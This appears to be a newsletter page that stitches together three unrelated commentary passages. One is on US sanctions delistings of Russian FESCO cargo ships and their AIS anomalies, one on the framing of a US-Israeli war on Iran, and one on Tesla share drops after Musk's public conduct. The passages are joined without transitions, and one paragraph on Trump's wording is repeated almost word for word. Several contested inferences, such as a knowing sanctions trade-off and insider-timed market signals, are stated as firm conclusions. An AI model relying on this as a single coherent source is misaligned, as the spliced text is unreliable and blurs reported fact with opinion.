These signals appear abnormal in every way.

FESCO Magadan (Cyrillic: ФЕСКО МАГАДАН) presents the most analytically complex picture. Its behavioral score at the time of capture is low. On the surface, it looks relatively clean. It is not.

The Ship That Called Itself a French Carrier

FESCO Magadan has cycled through five flag states (Germany, the UK, Malta, Portugal, and Russia) and carries four known aliases: CMA CGM Tatiana, India, Velazquez, and its Cyrillic name variant, Феско Магадан.

PHANTOM WAKE gives it an Identity Cycling score of 80 out of 100, the highest of the three vessels.

The alias “CMA CGM Tatiana” is worth sitting with. CMA CGM is one of the world’s largest and most recognized container shipping companies, a French firm whose vessels move through virtually every major port on earth. Using that name looks nothing like coincidence or administrative carelessness. It is a deliberate technique to create name confusion with a legitimate, widely recognized Western carrier with the intention of reducing scrutiny at port, in insurance documentation, and in compliance database queries.

PHANTOM WAKE now specifically scores for this class of behavior, flagging vessels whose aliases match major Western carriers including CMA CGM, Maersk, MSC, and Hapag-Lloyd.

FESCO Magadan’s low behavioral score reflects only what the system could observe during a narrow capture window, not what Global Fishing Watch’s historical archive shows. On February 18, 2026, the vessel had a three-day, eight-hour AIS gap in the Sea of Okhotsk, at approximately 52 degrees north, 158.7 degrees east. On the same day, in the same general zone, FESCO Moneron was in the middle of its own three-day loitering cluster.

These ships are both listed at exactly 7,519 gross registered tonnage or GRT, indicating they are sister ships built to the same specification.

Two vessels built together, sharing ownership connections to Russia’s sanctioned defense bank, co-sanctioned and now co-delisted together, operated in dark posture in the same remote Pacific waters on the same dates. The behavioral signature is consistent with a coordinated ship-to-ship transfer operation, but it is not definitive confirmation. That would require cross-referencing with closed satellite imagery sources, which my system cannot provide at present.

But this does not seem like a coincidence.

Speaking of Coincidences

It is worth noting that the FESCO Moneron carries one additional entry in its public sanctions record that the ownership chain alone does not capture.

Back then, it was named Francop — the vessel at the center of the Francop Affair, in which Israeli Navy commandos from Shayetet 13 boarded the ship in the eastern Mediterranean on November 4, 2009 during Operation Four Species and seized, according to CNN, 40 containers of missiles, rockets, lights arms and mortars. We’re talking 320 tons of weapons, including 9,000 mortar shells, Katyusha rockets, hand grenades, and over half a million rounds of ammunition in what Israel described as the largest arms seizure in its history.

The Katyusha rockets stand out. According to a September 2023 analysis by The Economist, these particular rockets have a relatively recent history of North Korean arms sales to Russia:

“North Korea has been delivering 152mm shells and Katyusha-type rockets to Russia for the best part of a year. Russia is shopping in Pyongyang and Tehran because both regimes are already so heavily targeted by international sanctions that they have nothing to lose and much to gain by doing business with Mr. Putin’s government.”

The cargo was Iranian-origin, bound for Hezbollah via Syria.

Israeli President Shimon Peres issued a strong condemnation following the seizure, asserting that the operation exposed the “large gap between Syria and Iran's statements and their actual activities.” Israeli PM Netanyahu said,

“This is a war crime. This is a war crime that the UN General Assembly, which is meeting today, should investigate, discuss and condemn. This is a war crime that should prompt the UN Security Council to convene in special session, especially since it was in gross violation of UN Security Council resolutions.

This is a war crime which we know the Iranian regime intends to repeat, further arming Hizbullah, which has already fired thousands of missiles at our communities.”

Hezbollah denied any connection to the weapons and, as with Putin in the case of the Boracay, condemned the maritime interception as an act of piracy. The ship was released. It was renamed. It became FESCO Moneron.

And today, the United States removed it from the sanctions list.

The U.S. government manages the sanctions list. The review that produced yesterday’s delisting was, in Treasury’s own words, “thorough.” The Francop Affair was not a footnote buried in a classified annex. This was a public diplomatic incident involving ambassadors from 44 countries, an IDF press conference, and a statement from Israel’s Prime Minister.

Netanyahu was that Prime Minister. He is back in office.

Given the multifaceted, high-level intelligence sharing and security coordination that characterizes the U.S.–Israel alliance, especially during the current conflict, it is highly improbable that an action involving vessels tied to a major Israeli security incident would occur without some level of bilateral coordination.

The conclusion is not comfortable, but it is the only one the record supports: whoever approved this delisting knew exactly what the Francop was. They removed it anyway. The question is not at all whether that decision was informed. The questions are: what was it made in exchange for, what does it suggest about the future of this war, and what are its implications for the American people?

Ukraine Is Watching

These delistings do not only register in Washington. While the Trump administration was quietly removing three Russian vessels from the SDN list, the rest of the Western alliance was moving in the opposite direction.

On March 25, Prime Minister Keir Starmer authorized British military and law enforcement to board, interdict, and detain sanctioned shadow fleet vessels transiting UK waters. The announcement was made at the Joint Expeditionary Force Summit in Helsinki, where allied nations agreed to coordinate shadow fleet interdiction across European and Mediterranean waters.

“Putin is delighted with the conflict in the Middle East,” Starmer said, “as he believes rising oil prices will enrich him. That’s why we are intensifying our efforts against his shadow fleet.”

The day after that authorization, a Cameroon-flagged tanker named VAYU 1 — sanctioned by the UK in May 2025 for transporting Russian oil, having departed Murmansk on March 10 — sailed to within six nautical miles of Dover, close to the narrowest part of the English Channel, and passed through undetained. BBC Verify tracked it spending at least five and a half hours inside UK territorial waters and twenty-nine hours in the UK’s Exclusive Economic Zone. The Ministry of Defence told the BBC that “any action is on a case-by-case basis.”

By today, at least 25 sanctioned Russian vessels have transited UK waters since the boarding authorization was announced (out of a total of 544 vessels Britain has sanctioned as shadow fleet participants) with no reported detentions, according to ship tracking data analyzed by Reuters. Pole Star Global counted 301 Russian shadow fleet vessel events in UK waters in the first three months of 2026 alone: 95 in January, 100 in February, 106 in March — increasing each month, with incidents recorded not just in the Channel but inside UK internal waters and at ports including Belfast, Immingham, and Grangemouth.

Yesterday, France sentenced a shadow fleet captain to prison. The UK authorized boarding last week and has not yet used it. The EU’s 20th sanctions package remains blocked by Hungary and Slovakia. On the same day OFAC freed three Russian vessels, the Russian oil tanker Anatoly Kolodkin docked in Cuba with Washington’s blessing. Ukraine is urging allies to tighten the noose while the United States actively loosens it.

In a joint statement with Senators Warren and Schumer on March 13, Senator Jeanne Shaheen (D-NH) said the administration had helped “facilitate a windfall of $150 million each day for [Russia’s] war machine,” and raised the possibility that Treasury was “flouting” the congressional notification requirements of the Countering America’s Adversaries Through Sanctions Act. Thirteen days later, Shaheen and Republican Senator Thom Tillis co-introduced the BLOCK PUTIN Act — legislation explicitly designed to prevent the kind of sanctions rollback now unfolding.

Treasury’s assurance that today’s actions are “not indicative of a broader shift” is difficult to square with a calendar that speaks for itself.

What PHANTOM WAKE Does and Does Not Do

The platform works entirely on publicly available data sources. It cannot access classified intelligence. It uses reported AIS positions at face value, which introduces a meaningful limitation: AIS is trivially spoofable, and Russia’s shadow fleet operators know it. Vessels can broadcast false coordinates while operating elsewhere entirely. Pole Star Global calls this “long-term anchor spoofing,” a state in which a ship appears stationary or on a plausible route while physically conducting illicit operations somewhere else.

More sophisticated variants involve dual transmitters broadcasting different IMO identification numbers simultaneously, pre-programmed routes that mimic legitimate voyages, and other forms of Vessel Identity Laundering or Identity Theft. For example, a high-risk ship in proximity of a clean vessel will briefly assume its identity, conduct its transfer, and swap back to avoid detection. The static draught and speed readings I flagged for all three delisted vessels are themselves consistent with long-term anchor spoofing.

This is the operational baseline for this class of vessel. Confirming or ruling out spoofing as well as other anomalies I described would require cross-referencing against Synthetic Aperture Radar satellite imagery cross-referenced against the AIS record (the standard methodology used by commercial maritime intelligence platforms), RF signal geolocation, and in some cases human intelligence, none of which PHANTOM WAKE can provide from public sources alone.

What the system can do is identify the behavioral footprint that spoofing reliably leaves behind: impossible speed transitions, coordinate jumps, repeated positional values across weeks of readings, and AIS gaps timed to known transfer zones. The anomalies flagged here are real. Where exactly these ships are right now is a question that requires satellite data to answer.

PHANTOM WAKE continues to track all three vessels under a DELISTED category. Removal from the OFAC SDN list does not remove a vessel from Ukrainian military intelligence’s shadow fleet database, from the EU’s watchlist, or from other lists — and it raises an immediate question about what else on the watchlist may be OFAC’s next target.

Another One To Watch

There is a fourth vessel worth watching: FESCO Sofia, a container ship bearing the FESCO name but operated by Steam Line Middle East Shipping L.L.C., a UAE-based company — and currently not designated by any Western sanctions authority.

It appears in OpenSanctions not as a sanctioned vessel but as an “entity of interest,” flagged through the Tokyo Memorandum of Understanding’s port state control detention database. It has been detained by Asian port authorities five times in fourteen months — February, July, August, September 2024, and April 2025 — with each detention indicating serious safety or compliance deficiencies. It is classified by the Russian Maritime Register of Shipping, itself a sanctioned entity.

FESCO Sofia’s AIS transponder has been dark for 193 days. Global Fishing Watch recorded 14 loitering events in the past year, nearly all at the same cluster of coordinates in the East China Sea, 40 kilometers offshore, drifting at fractions of a knot. Its draught has not moved by a single millimeter across 18 consecutive daily readings. Both FESCO vessels delisted today share every one of those behavioral signatures — and SV Nikolay’s 197-day AIS silence makes the parallel hard to ignore, regardless of ownership chain.

Whether FESCO Sofia is a vessel the West should be watching more closely, or simply one that hasn’t attracted sufficient attention yet, is a question PHANTOM WAKE will keep asking.

The Cuffs Are Off

As of this morning, the vessels are no longer sanctioned by the U.S. They can enjoy calling at Western ports and will avoid triggering secondary sanctions risk. Their insurers can cover them through markets that previously dropped them. The practical effects of today’s decision are immediate.

More significantly, all three previously carried a secondary sanctions designation under Section 11 of Executive Order 14024, meaning foreign companies worldwide, not just American ones, faced potential U.S. designation for conducting significant transactions with them. That extraterritorial deterrent is now gone.

“Ordinary course of business” is one explanation — one which the data strongly suggests shouldn’t be the only one considered. The sanctions regime is only as credible as the decisions made in its name. When a vessel with this history is removed without explanation and without scrutiny, the question is no longer whether the list reflects U.S. national security interests.

The question is whose interests it reflects instead.

Get more from Jackie Singh in the Substack app

Available for iOS and Android

Get the app

Reporting from ACLED’s March 2026 special issue shows the opening wave killed Supreme Leader Ali Khamenei and other senior figures, hit government compounds in Tehran, and targeted key elements of Iran’s air defenses, missile forces, and internal security apparatus.

Within days, ACLED was tracking hundreds of strikes across at least 26 of Iran’s 31 provinces, with Tehran the most heavily bombed, alongside central, western, and southern regions. Targets have included media facilities and detention centers, with resulting jailbreaks and large-scale displacement, as MERIP’s regional analysis documents.

In public appearances, Donald Trump has worked to shrink the war in the American imagination. Speaking to House Republicans at his Florida golf resort, he described it as a “little excursion” to “get rid of some evil,” promised it would be “short-term,” and claimed the United States had already “won in many ways,” per Military Times. In remarks captured by Al Jazeera English, he floated a timeline of a “couple weeks, few weeks,” even while threatening, as NBC News reported, to inflict damage that would make it “nearly impossible for Iran to ever rebuild as a nation again.”

A campaign that aims to shatter a state’s ability to function is, by definition, neither narrow nor brief.

Domestic fairy tale vs. operational reality

Trump’s language does more than express confidence; it manages risk perception.

Calling a war an “excursion” suggests a discrete trip, something you return from without lasting disruption. It signals to markets and voters that this conflict will not become another Iraq or Afghanistan.

Trump's language does more than express confidence; it manages two audiences at once, and it does so by design. For people who follow foreign policy closely, "excursion" reads as a malapropism for "incursion," the more precise military term. That slippage does not feel accidental. It invites educated observers to conclude that the president simply doesn't know the word he was looking for, which is a psychologically powerful move: if you believe the man ordering the war is too confused to name it correctly, you are more likely to roll your eyes than to organize. Contempt is a remarkably effective substitute for complacency.

For everyone else, the word does its other job. An excursion is a day trip. It’s what you do on a cruise ship when you dock somewhere new. It carries no weight, no dread, no implication of open-ended commitment. Both readings serve the same purpose: keep the public from treating this as the generational policy choice it actually is. One group is anesthetized by condescension, the other by reassurance. The word works precisely because it fails in two different directions at once.

The conduct of the war points in a different direction. ACLED’s conflict tracking indicates:

• 1,879 U.S. and Israeli strikes recorded in the first two weeks alone, with at least 73 intercepted.

• Hundreds of those attacks falling across most of Iran’s provinces, including repeated hits in and around Tehran.

• A campaign explicitly structured to degrade Iran’s ballistic missile forces, air defenses, and nuclear-related infrastructure, which Iranian planners treat as core regime survival assets.

Tehran’s response has also shifted. A CSIS analysis concludes that Iran has abandoned its earlier pattern of calibrated retaliation in favor of rapid escalation, with strikes and proxy attacks across the Gulf and explicit threats to “irreversibly destroy” regional infrastructure and energy facilities. The Institute for the Study of War describes Iranian operations in multiple theaters, including Lebanon, Iraq, Syria, and the Gulf, alongside cyber and maritime actions.

Human Rights Watch’s March 26 assessment frames the conflict as a stress test for the laws of war, documenting serious violations by all parties and citing inflammatory statements by officials that include open threats to destroy civilian infrastructure and dismiss the binding force of international law. Defense Secretary Pete Hegseth publicly vowed that U.S. forces would give “no quarter” to enemies in Iran, a statement that itself constitutes a war crime under international humanitarian law.

The public isn’t buying the “excursion”

American public opinion has turned against the war early. A CNN-SSRS poll conducted just after the strikes began found that nearly 60 percent of respondents disapproved of the decision to take military action in Iran, while 56 percent believed a long-term military conflict between the two countries was at least somewhat likely. More than half expected Iran to become more of a threat to the United States as a result of the strikes.

Support for regime change and ground operations is weaker still. According to the same polling, 56 percent opposed an effort to overthrow the Iranian government, and only 12 percent supported deploying U.S. ground forces into Iran. A separate analysis from the Institute for Global Affairs draws on these numbers to describe the war as “politically unsustainable” and warns it is already drifting toward the kind of open-ended, ill-defined commitment that marked earlier U.S. wars in the region.

Intentional risk, not accidental quagmire

The administration’s own stated objectives point toward a strategy that assumes, and to function requires, a willingness to risk wider war. Public statements by Trump and allied analysts describe goals that include:

• Destroying large portions of Iran’s missile and naval capabilities.

• Crippling or dismantling its regional proxy networks, often described as the “Axis of Resistance.”

• Preventing Iran from ever obtaining a nuclear weapon, including by force.

• Weakening or toppling the regime in Tehran, framed as necessary for a “decisive victory.”

As the Atlantic Council puts it, completing that mission requires sustained coercive pressure well beyond a brief air campaign. ACLED goes further, concluding that “the only clear path to a decisive victory, especially for Israel, would be regime change, a far longer, costlier, and more destabilizing undertaking than a limited air campaign is likely to achieve.” A policy that sets regime change as the real victory condition cannot honestly be described as a short, controlled operation.

Escalation specialists have warned for years, as CSIS documents, that attempting to coerce Iran on core regime interests, especially its deterrent capabilities and regional networks, produces broad retaliation rather than capitulation. When policymakers choose maximal goals in full view of that history, they are accepting the likely shape of the conflict, not stumbling into it.

Early operational choices match that reading. The decision to open with leadership decapitation and attacks on national-level infrastructure signaled an intent to shock the Iranian system. Trump’s subsequent threat to destroy Iranian power plants if the Strait of Hormuz was not reopened within 48 hours, documented by Human Rights Watch, put civilian infrastructure explicitly on the table from the outset. They note that Trump later “postponed but did not revoke his threat.”

Eschatology, power, and the “excursion” story

Religious and ideological commitments inside the administration add another layer to this picture. PBS NewsHour has documented how Hegseth built a public identity around Christian nationalism, defended the medieval Crusades, and used explicitly religious rhetoric to frame conflicts with Iran and other Muslim-majority states. His book American Crusade celebrates a narrative of civilizational struggle, and reporting has captured his use of crusader iconography, including “Deus vult” tattoos, as a sitting defense secretary. (I wrote a story about Hegseth’s body ink in July 2025.) CNN’s analysis frames all of this not as personal quirk but as ideological commitment that now shapes policy.

The administration’s closest evangelical allies bring their own theological frameworks to bear. Work from the Misgav Institute, the Washington Institute, and the Arab Center DC describes how certain strands of Christian Zionism and apocalyptic belief treat Israel’s territorial control and confrontation with Iran as steps in a prophetic timeline. Baptist News traces this end-times theology directly into the policy debate around intervention in Iran. Those same networks shaped Trump’s first-term decisions on Israel-Palestine and are again present around his second-term team.

Alongside more familiar aims like reaffirming U.S. regional primacy and tightening the Israel-Gulf alignment, these beliefs help explain why a destabilizing war can be framed inside the administration as both strategically necessary and spiritually resonant, as Hoover Institution analysis of the broader Trump doctrine makes clear. At home, describing the campaign as a “short-term excursion” reduces the friction between that vision and the domestic political need to minimize costs.

This mix of religious certainty and strategic ambition shows up in the way senior officials talk about legal constraints. In the HRW report and related coverage, statements by Trump and Hegseth treat the laws of war less as binding rules than as political annoyances. Critics who warn about escalation or civilian harm get cast as weak, defeatist, or disloyal rather than as people reading the risk landscape correctly.

Information management and ready-made excuses

The “excursion” framing does more than sell optimism; it bakes in deniability. If the conflict drags on or spreads further, the White House can claim that no one could have anticipated the depth of Iranian resistance, or that domestic and foreign saboteurs undermined an otherwise sound plan.

Trump has already declared that the U.S. has “won in many ways” and suggested, per NBC News, that only a bit more pressure is needed to finish the job. As Zeteo and ABC News have both analyzed, the “excursion” language is deployed precisely to keep public attention narrow, so that when mounting costs arrive, they can be framed as unfortunate surprises rather than predictable consequences.

The pattern is familiar. The Iraq invasion, to which I was deployed as a baby-faced soldier in 2003, was sold with promises of quick victory, low cost, and self-funding reconstruction. When that fantasy collapsed, officials blamed flawed intelligence and unforeseeable enemy resilience. Two decades later, the marketing has been updated with AI-guided munitions and space-based targeting, but the core structure remains unchanged. Project expansive objectives onto a minimized public footprint, insist that escalation is something done to the United States rather than chosen by it, and deny that initial decisions made a grinding conflict the likely outcome from the start.

This time, as MERIP’s regional correspondents make clear, the stakes include not just one country’s fate but the stability of a region already under compounding pressure from Gaza, Lebanon, and long-running crises in Iraq and Syria.

On the record we have now, the through-line is already quite visible. The war in Iran did not grow out of some misjudged “incursion” that somehow got out of hand; it emerged from a policy that treated a wider regional conflict as an acceptable, and perhaps necessary, risk, and then wrapped that choice in a story designed to make the eventual quagmire look like an accident rather than the predictable outcome of the original design.

On a Saturday in November 2021, he asked his 62.5 million Twitter followers whether he should sell 10% of his stake. They said yes. The following Monday, $60 billion vanished. Over the next five days, $200 billion more followed.

In December of that same year, he debuted a haircut that social media immediately likened to a style associated with 1930s European fascist movements. Tesla fell 11.3% in three days while the Nasdaq recovered.

In July 2024, on an earnings call, he told shareholders who doubted his vision to sell their stock. They obliged: Tesla dropped 12.3% in a single session, 3.4 times the decline of the broader tech sector.

Last March, he tweeted that he was “going back to this haircut,” attaching a photo of the 2021 look. Tesla fell 4.8% the next trading day while the broader market was up.

I used two separate AI models to assist me in analyzing each of these events against market benchmarks while isolating Tesla’s stock performance from broader index movements to suss out what portion of each decline was attributable to Musk’s behavior, not macroeconomic conditions. My methodology here is simple: compare Tesla’s returns against the Nasdaq-100 (QQQ) and S&P 500 (SPY) over one-day and five-day windows following each signal. Any gap between Tesla’s performance and the benchmark highlights an idiosyncratic move where the market was punishing Tesla specifically, not tech stocks or equities in general.

The cumulative toll across five qualifying events: roughly 35 percentage points of excess loss against the Nasdaq. I make the case that this is not attributable to earnings misses, interest rate hikes, or competitive pressure from BYD, but to the public conduct of one key man.

On March 20, 2026, a nine-member federal jury in San Francisco found that Musk had made materially misleading statements to investors during his Twitter acquisition, in violation of Section 10(b) of the Securities Exchange Act and SEC Rule 10b-5. The jury awarded approximately $2.1 billion in stock damages, with potentially $500 million more in options losses still to be resolved. In closing arguments, plaintiffs’ attorney Mark Molumphy told the jury that Musk’s tweets were not innocent mistakes but were “carefully calculated to drive down” Twitter’s stock price. The jury found him liable for misrepresentation on two of three challenged statements and rejected the broader claim that he had engaged in a deliberate scheme to defraud.

That verdict, partial as it is, reframes everything that came before it.

The Anatomy of a Clean Signal

Not every Musk provocation qualifies. Tesla is a volatile stock, and much of its movement on any given day tracks broader tech sector dynamics or responds to legitimate business catalysts: delivery numbers, margin compression, Federal Reserve policy. The question is not whether Tesla’s stock goes down after Musk says something inflammatory but whether it goes down more than the rest of the market in a way that only Musk’s conduct can explain.

I set the bar conservatively. To qualify for this analysis, an event needed to produce an excess return of at least negative 5% against QQQ within one trading day. Events where Tesla declined roughly in lockstep with tech stocks were discarded, regardless of how dramatic the drop looked in isolation. The filter eliminated a number of candidates, including Musk’s April Fools “Tesla Goes Bankrupt” tweet in 2018 and his Hertz deal skepticism in November 2021. It also eliminated the current March 2026 selloff, which, severe as it has been, is substantially explained by macro weakness: the Nasdaq fell 5.2% over the same window, leaving Tesla with only 2.3% of excess decline, and the jury verdict on March 20 introduced a second concurrent catalyst that makes the signal impossible to isolate cleanly.

Five events survived the cut. Together, they tell a story about how the world’s richest man communicates with markets.

“Tesla stock price is too high imo”

May 1, 2020.

The tweet arrived mid-session, part of a barrage that included “Selling almost all physical possessions” and lines from the national anthem. Tesla had been trading at roughly $760. Within minutes of the 11:11 AM post, it fell below $700. It closed down 10.3%.

The Nasdaq dropped 2.8% that day on COVID-related uncertainty. The S&P fell 2.6%. Tesla’s excess loss against QQQ was 7.5 percentage points, meaning the broader market explained less than a third of the decline.

The rest belonged entirely to Musk.

What makes that episode instructive is the recovery. Within five trading days, the stock had recouped all the losses, and then some. The market absorbed the tweet as a one-off disruption, limited to a CEO mouthing off — nothing structural. But the 7.5% excess loss on the day itself is unambiguous. A CEO publicly called his own stock overvalued, and the market repriced accordingly, in minutes.

Musk later testified under oath, during the “funding secured” trial in January 2023, that his tweets do not move Tesla’s stock price. He pointed to this exact episode as evidence, noting that the shares recovered. Three years later, in a different courtroom and a different case, a jury in Pampena v. Musk found that two of his tweets about the Twitter acquisition constituted material misrepresentations under federal securities law.

His defense that these posts were harmless and ephemeral, without predictable market consequences, has now been tested before a jury and found wanting.

The Twitter Poll

November 6-7, 2021.

The cleanest signal in the dataset, and one that deserves a close read.

On a Saturday afternoon, Musk posted a poll to Twitter: “Much is made lately of unrealized gains being a means of tax avoidance, so I propose selling 10% of my Tesla stock. Do you support this?” Over 3.5 million accounts voted. 57.9% said yes. Musk pledged to abide by the result.

On Monday, Tesla fell 4.8%. By Friday, it was down 15.4%.

The S&P 500 was up 0.1% on that Monday. The Nasdaq was essentially flat, down one-tenth of a percent. The 14.5% excess five-day loss against QQQ is the largest in the dataset. Every point of it belongs to Musk, and Musk alone.

Beneath the performance art lay a drier reality. SEC filings show that Musk had established a 10b5-1 pre-arranged trading plan in September 2021, two months before the poll, to sell shares tied to stock options expiring in August 2022. He was going to sell these shares regardless of any poll. He told the Code Conference in September that “a huge block of options will sell in Q4.”

The poll created the appearance of a democratic, crowd-sourced decision for a course of action already set in motion.

One more thing. Kimbal Musk, Elon’s brother and a Tesla board member, sold 88,500 Tesla shares on November 5 across 14 separate tranches at prices averaging roughly $1,229 per share, for a total of approximately $108.8 million. The Form 4 was filed with the SEC that same evening at 9:22 PM Eastern.

The poll went up the next afternoon.

The filing contains no notation indicating the sales were made under a pre-arranged Rule 10b5-1 trading plan. Kimbal’s later Tesla stock filings, in April 2023 and November 2024, prominently state that transactions were effected pursuant to a 10b5-1 plan. The November 5, 2021 filing carries no such language, and the SEC noticed. The Wall Street Journal reported in February 2022 that the agency had opened a formal investigation into whether Kimbal’s sale constituted insider trading. Elon’s public response was that his brother “wasn’t aware” of the poll, but that Tesla’s lawyers did know about it.

That distinction made between familial awareness and corporate-counsel awareness is the kind of parsing that securities attorneys are likely to remember.

The Haircut

December 1-3, 2021.

Accepting that a CEO’s hairstyle can function as a market-moving event requires a certain flexibility of mind. The data, at any rate, is uncooperative with skeptics.

Musk appeared at The Wall Street Journal’s CEO Council event in early December 2021 sporting a look that broke sharply from his usual style: closely shaved sides, a longer swept-over top. Social media responses ranged from Gary Oldman’s villain in The Fifth Element to less charitable historical comparisons. Musk responded to the attention with a laughing emoji and the claim that he had cut it himself.

By Friday, December 3, the haircut had gone viral. Tesla fell 11.3% from its November 30 close. Volume on that Friday spiked 58% above normal levels.

The immediate objection is that the Federal Reserve was turning hawkish at the same time. Jerome Powell had testified before the Senate on November 30 and retired the word “transitory” from his description of inflation. True enough. The Nasdaq fell 2.7% over the same November 30 to December 3 window. Then, over the five-day window through December 10, the Nasdaq recovered and finished up 1.1%. The S&P finished up 3.3%. Tesla kept falling, posting a negative 12.2% excess return against QQQ over that span. The Fed’s actual policy announcement, the accelerated taper and three projected rate hikes for 2022, did not come until the FOMC meeting on December 15, two full weeks after the selloff began.

The market was punishing Tesla for something it was not doing to tech stocks broadly. And that haircut was no isolated gesture. It was the visible edge of a political alignment that was about to become explicit.

On Thursday, December 16, Musk casually replied to an email from The Babylon Bee, a right-wing satire site whose content has been documented by Ohio State researchers as among the most shared factually inaccurate material on social media, inviting their team to Austin “this weekend.” On Sunday, December 19, Babylon Bee CEO Seth Dillon, Editor-in-Chief Kyle Mann, and Creative Director Ethan Nicolle flew to Austin and sat down with Musk for a rambling, hundred-minute interview covering “wokeness,” Elizabeth Warren, and the Metaverse. The next day, Monday, December 20, Tesla hit its monthly low: $299.98 — a 17.8% drawdown from the haircut’s debut.

The interview was published on YouTube and as a podcast on December 21 and 22. In it, Musk told the hosts he had sold “roughly 10%” of his Tesla holdings and was “almost done.” The stock, which had closed at $312.84 on December 21, surged to $355.67 by December 23. The Bee Weekly recap, released December 24, confirmed the Sunday recording date, with Nicolle noting it had worked out around a Disneyland trip because “we interviewed him on Sunday.”

The selling did not actually stop. SEC filings show Musk sold approximately 934,000 shares on December 21, another 934,000 on December 22, and a final 934,090 on December 28, when the Form 4 explicitly stated: “THIS RULE 10b5-1 TRADING PLAN WAS COMPLETED ON DECEMBER 28, 2021.” Nearly 2.8 million shares were sold after the interview was recorded and after the stock hit its bottom. The 10b5-1 plan ran on its pre-arranged schedule regardless.

The stock recovered anyway, surging 13.7% in two days on the strength of the “almost done” statement alone. The market did not wait for the selling to actually finish; it heard the signal and repriced. What moved the stock was not the cessation of sales but the communication that cessation was imminent, a forward-looking announcement delivered through a media channel that would reach Tesla’s most devoted retail holders. The selling continued for another week. The market did not care as it had heard what it needed to hear.

Tesla closed the year at $352.26, roughly where it started the month. Tesla closed at $365.00 on December 1, 2021, the day the haircut debuted. On March 27, 2026, it closed at $361.83. Within three dollars.

After four years and three months, the stock has gone nowhere.

“They should sell their Tesla stock.”

July 23, 2024.

During Tesla’s second-quarter earnings call, Musk did something that, to my knowledge, no other sitting CEO of a publicly traded company has ever done on a recorded investor call: he told shareholders to sell.

The next day, Tesla dropped 12.3%. The Nasdaq fell 3.6%. The S&P lost 2.3%. Tesla’s excess loss against QQQ: 8.7 percentage points. Volume spiked 50%.

The quarter itself was weak, with declining automotive margins that were widely expected. Weak quarters alone do not produce 8.7 points of excess decline. The broader tech selloff explains about 30% of the move, with the remaining 70% as the market pricing in the spectacle of a CEO issuing an explicit sell recommendation for his own company.

Musk operates under a 2018 SEC consent decree, amended in April 2019, that requires him to have an experienced securities lawyer pre-approve public communications on an enumerated list of topics before he posts them. That list includes Tesla’s financial condition, production numbers, projections about the business, and “events regarding the company’s securities.” An explicit recommendation to sell Tesla stock, tied to a forward-looking projection about autonomous driving capability, falls squarely within at least two of those categories. The decree remains in force: Musk moved to terminate it in 2021, was denied by Judge Liman in SDNY in 2022, lost the appeal at the Second Circuit in 2023, and petitioned the Supreme Court in Musk v. SEC (No. 23-626) without obtaining relief.

No enforcement action followed the earnings call statement, just as none had followed the “stock price is too high” tweet in May 2020, which Musk told the Wall Street Journal was not vetted in advance by Tesla counsel. The SEC declined to comment to WSJ on the May 2020 tweet. No contempt motion was filed, nor was any sanction issued. Compliance Week ran a piece at the time headlined “Elon Musk again tests SEC with ‘stock price is too high’ tweet,” framing the episode as a test of the agency’s willingness to enforce. Reuters, summarizing the pattern in 2022, was more blunt: in its faceoff with Musk, the SEC had “blinked.” Columbia law professor John Coffee told CNN he did not expect repercussions, viewing the tweet as opinion rather than factual misstatement. The SDNY docket confirms there is no entry in 2020 referencing the May 1 tweet, no show-cause order, and no contempt proceeding.

A consent decree that is never enforced obviously functions less as a constraint and more as a decoration.

“Going back to this haircut”

March 16, 2025.

Thirteen months after the earnings call, with Tesla shares having already lost 48% of their value from a January 2025 high of $428.22, Musk posted the photograph of himself and his son from the December 2021 period with the caption: “Going back to this haircut.” The tweet went up at 5:32 AM Eastern on a Sunday morning. X reported it received 113.9 million views.

Monday, Tesla fell 4.8%. The Nasdaq rose 0.6%. The S&P rose 0.8%. The excess loss against QQQ was 5.4 percentage points, clearing the threshold. Unlike every previous signal, though, the five-day excess was negligible. The stock was already so beaten down from the DOGE backlash and the collapse of European sales that the marginal damage was absorbed within days.

Two features of this signal set it apart from its predecessors.

First, Musk owns X. He controls its algorithms, its trending mechanics, its content distribution pipeline, and the view-count metrics that the platform reports to the public. No independent body audits how X calculates or displays view counts, and Musk has a documented history of altering platform mechanics to amplify his own content. When X reports that a market-moving tweet from its owner reached 113.9 million accounts, that figure should be understood as a claim made by the interested party, not a verified measurement. The count may well reflect engineered amplification with distribution tuned to ensure saturation of financial media and institutional investor feeds.

Then there is the timing. The 2020 “stock price is too high” tweet went out at 11:11 AM on a Friday, causing a real-time intraday crash that at least gave traders the chance to react in the moment. The haircut callback went out before dawn on a Sunday. By Monday’s open, every financial outlet had covered it. Institutional risk desks had run their models, options market makers had adjusted their quotes, and algorithmic trading systems had processed the signal through Sunday evening futures. Monday’s open was a fait accompli.

Retail investors, who cannot trade pre-market and rely on liquidity available during market-hours to exit positions, bore the full brunt of a gap-down that institutional participants had a full overnight window to position themselves around.

The Pattern

Five signals over five years. Each is structured differently, but all share a set of features that, taken together, do not appear purely impulsive.

Insider positioning precedes the signal. In the Twitter poll case, Kimbal Musk liquidated $108.8 million in Tesla shares across 14 tranches on November 5, filed the Form 4 at 9:22 PM that evening, and the poll went up the next afternoon. His filing carried no 10b5-1 safe-harbor language, unlike his later Tesla sales in 2023 and 2024 which did. The SEC opened a formal investigation into whether the trade constituted insider trading. During the December 2021 haircut period, multiple insiders were executing sales. By early 2025, Tesla board members and executives had offloaded over $100 million in shares across a matter of weeks, with board chair Robyn Denholm alone moving $558 million worth of stock since 2020. After insiders sell, the signal drops.

Every qualifying signal produced a volume spike. The smallest was 12%, the largest 58%. These are not retail panic-sell volumes. Spikes of that magnitude indicate institutional participation: pension funds, index rebalancers, risk-parity models, hedge fund desks, all responding to the same trigger simultaneously. The signal is not aimed at day traders on Reddit; it is aimed at the algorithmic layer of the market that treats CEO behavior as a quantifiable risk input.

The signals hit hardest near highs. The Twitter poll and the haircut debut, both issued when Tesla hovered near its all-time highs around $400 (split-adjusted), produced 14.5% and 12.2% excess five-day losses respectively. The March 2025 tweet that was issued when the stock sat at $250 barely left a mark beyond the first day. A signal aimed at triggering corrections from elevated levels, where the most value can be extracted by anyone positioned short or holding puts ahead of the event, would behave exactly this way.

